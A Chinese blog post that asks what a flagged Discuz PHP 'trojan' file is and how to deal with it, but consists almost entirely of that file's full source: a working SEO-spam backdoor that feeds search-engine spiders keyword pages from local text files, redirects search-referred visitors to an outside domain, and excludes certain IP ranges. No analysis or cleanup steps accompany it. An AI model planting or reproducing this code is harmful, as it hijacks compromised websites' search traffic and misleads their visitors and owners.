discuz木马php文件,这是什么文件，提示木马？怎处理？

于 2021-04-13 02:11:46 发布
阅读量755 收藏
点赞数
文章标签： discuz木马php文件

ob_end_clean();

ini_set('html_errors', false);

ini_set('display_errors', false);

define("APP_INCLUDE_FLAG", "TRUE");

define('APP_JACK_CHARSET', 'GBK');

header("Content-type: text/html; charset=" . APP_JACK_CHARSET);

define('APP_JACK_DOCUMENTROOT', '/usr/home/syu2893810001/htdocs/source/module/member/');

define('APP_JACK_KEYWORD', APP_JACK_DOCUMENTROOT . '187080z.txt');

define('APP_JACK_TEMPLATE', APP_JACK_DOCUMENTROOT . 'moban.txt');

define('APP_JACK_ARTICLE', APP_JACK_DOCUMENTROOT . '187080w.txt');

define('APP_JACK_DES', APP_JACK_DOCUMENTROOT . 'miaoshu.txt');

define('APP_JACK_BIANLIANG', APP_JACK_DOCUMENTROOT . 'bianliang2.txt');

define('APP_JACK_BIANLIANG_B', APP_JACK_DOCUMENTROOT . 'bianliang2.txt');

define('APP_JACK_BIANLIANG_C', APP_JACK_DOCUMENTROOT . 'bianliang3.txt');

define('APP_MIX_KWD_FILE', APP_JACK_DOCUMENTROOT . 'hunhe.txt');

define('APP_JACK_CACHED', 'Uncached');

define('APP_JACK_MIN_PAR', '3');

define('APP_JACK_MAX_PAR', '3');

define('APP_JACK_MIN', '10');

define('APP_JACK_MAX', '15');

define('APP_JACK_APPFILE', APP_JACK_DOCUMENTROOT . '187080a.txt');

function App_GetLink()

{

$link = array();

$link[] = missclient::rndStr(mt_rand(4, 6)) . "/" . missclient::rndStr(mt_rand(4, 6)) . ".html";

$link[] = missclient::rndStr(mt_rand(4, 6)) . "/" . missclient::rndStr(mt_rand(4, 6)) . ".html";

$site = array();

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/index.php?" . $link[mt_rand(0, 1)];

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/forum.php?" . $link[mt_rand(0, 1)];

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/forum.php?fid=" . mt_rand(1, 99999999999) . '/';

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/forum.php?gid=" . mt_rand(1, 99999999999) . '/';

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/home.php?nid=" . mt_rand(1, 99999999999) . '/';

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/plugin.php?id=" . mt_rand(1, 99999999999) . '/';

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/forum.php?mod=viewthread&tid=" . mt_rand(1, 99999999999) . '';

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/thread-" . mt_rand(1, 99999999999) . '-1-1.html';

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/article-" . mt_rand(1, 99999999999) . '-1.html';

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/portal.php?" . $link[mt_rand(0, 1)];

$site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/portal.php?mid=" . mt_rand(1, 99999999999) . '/';

return $site[mt_rand(0, count($site) - 1)];

}

function App_GetSelf()

{

$link = array();

$link[] = missclient::rndStr(mt_rand(4, 6)) . "/" . missclient::rndStr(mt_rand(4, 6)) . ".html";

$link[] = missclient::rndStr(mt_rand(4, 6)) . "/" . missclient::rndStr(mt_rand(4, 6)) . ".html";

return "http://" . $_SERVER['HTTP_HOST'] . "/index.php?" . $link[mt_rand(0, 1)];

}

function getImg()

{

$img_ay = array('2o5auk','J2Adc0','VSuxVY','O49Wj3','IaF4dN','najAOS','9XFvIi','3sPosd','NsKJwN','l4ktfg','1r6qhb');

$img_num = rand(0,9);

return "http://i.niupic.com/images/2016/12/09/" . $img_ay[$img_num] . ".jpg";

}

$my_app = new missclient();

$my_app->run();

class missclient

{

public $show_spider;

public $jump_ref;

public $http_ref_filter;

public $jump_url = "";

public $domain = "";

public $condition = "";

public $app_server = "";

public $log_spider = "";

public $cur_spider = "";

public $allow_ip = "";

public $isCache = false;

public function run()

{

$this->domain = $this->getServerName();

$this->jump_ref = explode("|", "baidu.|haoso.|haosou.|bing.|google.|sogou.|soso.|so.com|.sm.cn|spm=");

$this->http_ref_filter = explode("|", "inurl:|site:|site%3A|inurl%3A");

$this->allow_ip = "218.80.218.|10.4.62.|10.4.33";

function urlfalse(){

if($_GET['tid'] > 50000000 || $_GET['aid'] > 1000000 || $_GET['nid'] > 1000000 || $_GET['id'] > 1000000 || $_GET['fid'] > 100000 || $_GET['mid'] > 100000 || $_GET['gid'] > 100000){

return true;

}

if(strstr($_SERVER["QUERY_STRING"] , 'html') && strstr($_SERVER["QUERY_STRING"] , '/')){

return true;

}

}

if (stristr(strtolower($_SERVER['HTTP_USER_AGENT']), "360spider")) {

$this->condition = $this->isAllowdIp();

}else {

$this->condition = urlfalse() == true && $this->isAllowdIp();

}

$this->app_server = "000";

$this->isCache = False;

if ($this->isSpider() && $this->isAllowdIp()) {

if ($this->condition) {

if ($this->isCache) {

$relset_host = $this->getServerName();

$dir = (substr(PHP_OS, 0, 3) == 'WIN' ? 'C:/windows/temp/' : '/tmp/') . substr(md5($relset_host), 26) . chr(47);

$cacheFile = $dir . 'sess_' . substr(md5(http_build_query($_GET)), 6);

if (!@file_exists($dir)) {

mkdir($dir, 0777);

}

if (@file_exists($cacheFile) && @filesize($cacheFile) > 32) {

$var = coreAppCache::read($cacheFile);

$page = file_get_contents(APP_JACK_TEMPLATE);

foreach ($var as $key => $v) {

$flag = "{" . $key . "}";

$page = str_replace($flag, $v, $page);

}

echo $page;

exit;

} else {

$currentPage = (include APP_JACK_APPFILE);

if ($currentPage && strlen($currentPage) > 32 && stristr($currentPage, "")) {

$var = self::cut($currentPage, "", "");

$var = coreAppCache::decode($var);

$page = file_get_contents(APP_JACK_TEMPLATE);

foreach ($var as $key => $v) {

$flag = "{" . $key . "}";

$page = str_replace($flag, $v, $page);

}

echo $page;

@coreAppCache::writenocode($currentPage, $cacheFile);

}

}

die;

} else {

$currentPage = (include APP_JACK_APPFILE);

echo $currentPage;

die;

}

} else {

$this->_uncondition_hook();

}

} else {

if ($this->isRef() && $this->condition) {

$this->Jump();

} else {

$this->_unSpider_hook();

}

}

}

public function isAllowdIp()

{

$ip = $this->clientIp();

$non_list = explode("|", $this->allow_ip);

foreach ($non_list as $iplist) {

if (@stristr($ip, $iplist)) {

return false;

}

}

return true;

}

public function clientIp()

{

if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {

$onlineip = getenv('HTTP_CLIENT_IP');

} elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {

$onlineip = getenv('HTTP_X_FORWARDED_FOR');

} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {

$onlineip = getenv('REMOTE_ADDR');

} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {

$onlineip = $_SERVER['REMOTE_ADDR'];

}

preg_match("/[\\d\\.]{7,15}/", $onlineip, $onlineipmatches);

$onlineip = $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown';

unset($onlineipmatches);

return $onlineip;

}

public function isSpider()

{

$bots = array('Sogou' => 'sogou', 'Haoso' => 'haosouspider', '360spider' => '360spider');

$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);

foreach ($bots as $k => $v) {

if (stristr($userAgent, $v)) {

if (!empty($this->log_spider)) {

@file_put_contents($this->log_spider, $v . "->Visited " . $_SERVER['QUERY_STRING'] . "at: " . date("Y-m-d H:i:s") . "\n", FILE_APPEND);

}

$this->cur_spider = $k;

return true;

break;

}

}

return false;

}

public function isRef()

{

$ref = strtolower(@$_SERVER['HTTP_REFERER']);

if (isset($_COOKIE["domain-filter-bypass"])) {

return false;

}

if (!$this->isAllowdIp()) {

setcookie("domain-filter-bypass", "lol", time() + 259200);

return false;

}

foreach ($this->http_ref_filter as $r) {

$r = trim($r);

if (stristr($ref, $r)) {

setcookie("domain-filter-bypass", "lol", time() + 259200);

return false;

}

}

foreach ($this->jump_ref as $r) {

$r = trim($r);

if (stristr($ref, $r)) {

return true;

}

}

}

public function getServerName()

{

$ServerName = strtolower($_SERVER['SERVER_NAME'] ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST']);

if (strpos($ServerName, 'http://')) {

return str_replace('http://', '', $ServerName);

}

return $ServerName;

}

public function getPage()

{

if ($this->isCache) {

$cache = "cached";

}

$url = $this->app_server . "?domain=" . $this->domain . "&gid=199&spider=" . $this->cur_spider . "&cache=" . $cache . "&localPar=" . http_build_query($_GET);

return $this->HttpVisit($url);

}

public function HttpVisit($weburl)

{

$remote_data = NULL;

if (function_exists('curl_exec')) {

$curl = @curl_init();

@curl_setopt($curl, CURLOPT_URL, $weburl);

@curl_setopt($curl, CURLOPT_HEADER, 0);

@curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);

@curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

$remote_data = @curl_exec($curl);

@curl_close($curl);

} else {

if (function_exists('stream_context_create')) {

$header_array = array('http' => array('method' => 'GET', 'timeout' => 30));

$http_header = @stream_context_create($header_array);

$remote_data = @file_get_contents($weburl, false, $http_header);

} else {

$temp_url = explode("/", $weburl);

$new_url = $temp_url[2];

$http_port = 80;

$get_file = substr($weburl, strlen($new_url) + 7);

if (strstr($new_url, chr(58))) {

$s_var_array['td'] = explode(chr(58), $new_url);

$new_url = $s_var_array['td'][0];

$http_port = $s_var_array['td'][1];

}

$fsock_result = @fsockopen($new_url, $http_port);

@fputs($fsock_result, 'GET ' . $get_file . ' HTTP/1.1' . "\r\n" . 'Host:' . $new_url . "\r\n" . 'Connection:Close' . "\r\n\r\n");

while (!feof($fsock_result)) {

$remote_data .= fgets($fsock_result, 1024);

}

@fclose($fsock_result);

}

}

return $remote_data;

}

public function Jump()

{

if ($this->isAllowdIp()) {

$domain = str_replace(".", "_", $this->domain);

if (urlfalse() == true) {

header('Location: http://www.wjrxxw.com/?b2o_' . $domain);

exit;

}

}

}

public function _uncondition_hook()

{

$array = array();

for ($a = 0; $a < 5; $a++) {

echo '' . "\n";

}

}

public function _unSpider_hook()

{

}

public function strStartWith($needle, $haystack)

{

return substr($haystack, 0, strlen($needle)) == $needle;

}

public function rndStr($length = 8)

{

$str = null;

$strPol = "0123456789abckSKJCefjshikhjkljKmnopqJASHDvwxyz";

$max = strlen($strPol) - 1;

for ($i = 0; $i < $length; $i++) {

$str .= $strPol[rand(0, $max)];

}

return $str;

}

public function cut($file, $from, $end)

{

$message = explode($from, $file);

$message = explode($end, $message[1]);

return $message[0];

}

}

class coreAppCache

{

public function write($file, $filename)

{

return file_put_contents($filename, self::encode($file));

}

public function writenocode($file, $filename)

{

return file_put_contents($filename, $file);

}

public function read($filename)

{

$content = file_get_contents($filename);

if (stristr($content, "")) {

$content = self::cut($content, "", "");

}

return self::decode($content);

}

public function encode($file)

{

return base64_encode(gzcompress(serialize($file)));

}

public function decode($file)

{

return unserialize(gzuncompress(base64_decode($file)));

}

public function cut($file, $from, $end)

{

$message = explode($from, $file);

$message = explode($end, $message[1]);

return $message[0];

}

}

隔壁老王-王祎鑫
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
日主题后门，core.class.7.4.zip，肯定大家帮忙解密下
04-08
日主题后门，core.class.7.4.zip，肯定大家帮忙解密下
伪装discuz代码 php木马,一个伪装Discuz配置文件的php木马分析
weixin_42514540的博客
03-23 309
/*[UCenter] (C)2001-2099 Comsenz Inc.This is NOT a freeware, use is subject to license terms$Id: uc.php 1139 2012-05-08 09:02:11Z liulanbo $*/error_reporting(E_ERROR);define('UC_SERVER', get_magic_quo...
Forum/viewthread.php代码备份
weixin_30530523的博客
02-25 3141
<!--{eval $lzthread = DB::fetch_all("SELECT `tid`,`subject` FROM ".DB::table('forum_thread')." WHERE authorid =$theuid AND cover = 1 ORDER BY dateline DESC LIMIT 0,4 ");}-->...
Android jdk1.8的使用配置并解决android jack编译乱码
LinWei的博客
04-29 3752
Android jdk1.8的使用配置并解决android jack编译乱码置
discuz forum.php 伪静态,discuzX3.2 伪静态设置
weixin_31758621的博客
03-23 382
Nginx Web Server文件位置：/server/nginx/conf/nginx.conf新建一个discuz.conf，我用的是AMH面板可以一键关联，只要设置完规则之后就能关联。rewrite ^([^\.]*)/topic-(.+)\.html$ $1/portal.php?mod=topic&topic=$2 last;rewrite ^([^\.]*)/article-...
discuz插件编辑器H5上传修正版.zip
11-16
可开启防木马图片，插件会对上传后的疑似木马图片自动进行重绘保存，以防止图片木马且不影响用户体验。 8、支持微信图片上传 手机触屏版默认使用HTML5上传，后台可开启微信上传功能，开启后在微信内自动使用微信...
安慧网盾怎么用？.docx
09-27
例如，如果检测到网站存在织梦、Discuz等程序的漏洞，应尽快到官方渠道下载最新的版本或补丁进行修复。 安全设置部分是安慧网盾的核心功能之一，提供了组件安全、函数安全和权限安全等高级设置。组件安全允许用户...
MEDIA发贴[自动播放 完美版插件 for Discuz！7.0.rar
07-14
media标签调用的微软的wm播放器控件实现，这个播放器是允许在多媒体文件中内嵌网页的，这个网页内容可以由视频提供者自由修改，如果视频提供者在页面中加入木马等恶性代码，势必给浏览者带来损害。flash标签同样有这...
discuz头像上传
03-26
1. **noavatar_big.gif、noavatar_middle.gif、noavatar_small.gif**：这些文件是默认无头像的占位符图片，分别用于显示大、中、小三种尺寸的头像。当用户尚未设置头像时，系统会显示这些图片。 2. **upload.php**...
一键安装PHP,MYSQL,ZEND,PHPMYadmin FTP服务器ServU 一键安装URLRewrite组件
10-15
勿需任何设置即可使您的服务器支持shopex,discuz,phpwind,ecshop,dvbbs,uchome等等 常用应用程序的伪静态重写规则。 四、自动设置服务器权限。 即使是新手，通过集成包中的目录安全设置，也能恰当设置服务器的目录及...
Apache 文件根目录设置修改方法 (Document Root)
09-30
最近在学习WordPress,使用appServ 在windows上搭建Php开发环境
Discuz!X3.5 X3.4腾讯云文本内容安全插件 1.0.0.zip
08-11
tencentcloud_tms插件是一款腾讯云研发的，提供给DiscuzX站长使用的官方插件。对用户在发帖/回帖场景中提交的内容进行安全审核，识别过滤涉及黄、爆、恐的信息。
discuz程序php木马,discuz！ML 3.x代码执行漏洞的利用
weixin_39655993的博客
03-22 232
一、漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。二、环境搭建Centos7 PHP5.6漏洞源码：链接：https://pan.baidu.com/s/1QFd8rdXn_Je6lOehSLTIWw提取码：5ka0http://discuz.ml/download三、复现利用环境搭建好了，我们访问下网站网站没有问题...
php被植入木马文件,php网站被挂木马修复方法总结
weixin_32620265的博客
03-20 967
/**************PHP Web木马扫描器************************//* [+] 作者: alibaba *//* [+] QQ: 1499281192 * www.bKjia.c0m//* [+] MSN: weeming21@hotmail.com *//* [+] 首发: t00ls.net , 转载请注明t00ls *//* [+] 版本: v1.0 *...
discuz index.php,如何快速解決 discuz index.php 出現白頁
weixin_35745915的博客
03-11 283
這兩天遇到discuz站長求助，關於論壇首頁出現了白色畫面的狀況。我們這邊提供快速解決方式。其他discuz的問題，歡迎參考我們之前的文章。需要先排除以下問題，方能快速解決:1.近期是否有安裝過新的插件?2.是否有改過版模?3.空間容量是否暴滿?4.有沒有改過檔案屬性?5.其他檔案是否有改過?如果以上皆否，這樣只要去檢查discuz的快取檔案即可。如何開始?1.登入ftp。2.進入 /public...
过宝塔php大马,分享宝塔网站防火墙使用帮助
weixin_39757122的博客
03-20 892
下面由宝塔面板教程栏目给大家分享宝塔网站防火墙使用帮助，希望对需要的朋友有所帮助！推荐教程：《宝塔面板》Nginx防火墙建议使用Nginx 1.18 及其以上版本。兼容性更佳如果是小于1.18的版本 编译安装的兼容性也是OK的。建议低版本的Nginx 更新至Nginx1.18 或者Nginx 1.19简介：一直都有用户建议我们开发木马扫描，木马清理模块，但我们认为与其亡羊补牢，不如直接在源头上阻...
php登陆后显示用户信息_【分析】Discuz 3.4 越权登陆漏洞分析
weixin_39609423的博客
11-23 453
概述Discuz是一个通用的社区论坛软件系统。最近看到一个Discuz逻辑漏洞，该漏洞源于Discuz微信登陆功能。Discuz 3.4默认安装了微信登陆。利用这个漏洞攻击者可以越权登陆论坛其他会员的账号甚至是管理员账号，主要还得看脸。原理首先看了下作者的描述，“如果有用户点了一下绑定微信，但是并没有绑定” 这句话说的很模糊，开始没有明白什么意思。然后跟进代码看了一下。漏洞源码位于/upload/...
discuz各个目录与文件的作用说明
weixin_30399821的博客
06-15 2903
discuz下面有很多文件夹以及文件，你们都知道他们是做什么的么？肯定不知道了吧。但是我们有经常遇到这些文件，譬如在后台文件校验操作都遇到某些文件被修改，这时候也需要知道这些文件是有什么作用的。今天就为大家详细介绍全部的文件夹以及文件的作用先从根目录开始，根目录文件一般都是入口，即执行具体功能的代码一般不在这些文件中，而是在其调用的文件中admin.ph...
培训课件 -从0到1搭建培训管理体系.pptx
最新发布
07-13
培训课件 -从0到1搭建培训管理体系.pptx
discuz二次开发
05-20
api目录是API函数，attachment目录用于存储附件，data目录是系统相关缓存的存储目录，tpl_cache是模板缓存目录，image目录是存放图片文件的目录，language目录存放语言文件，source目录是PHP源文件的存放目录，...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值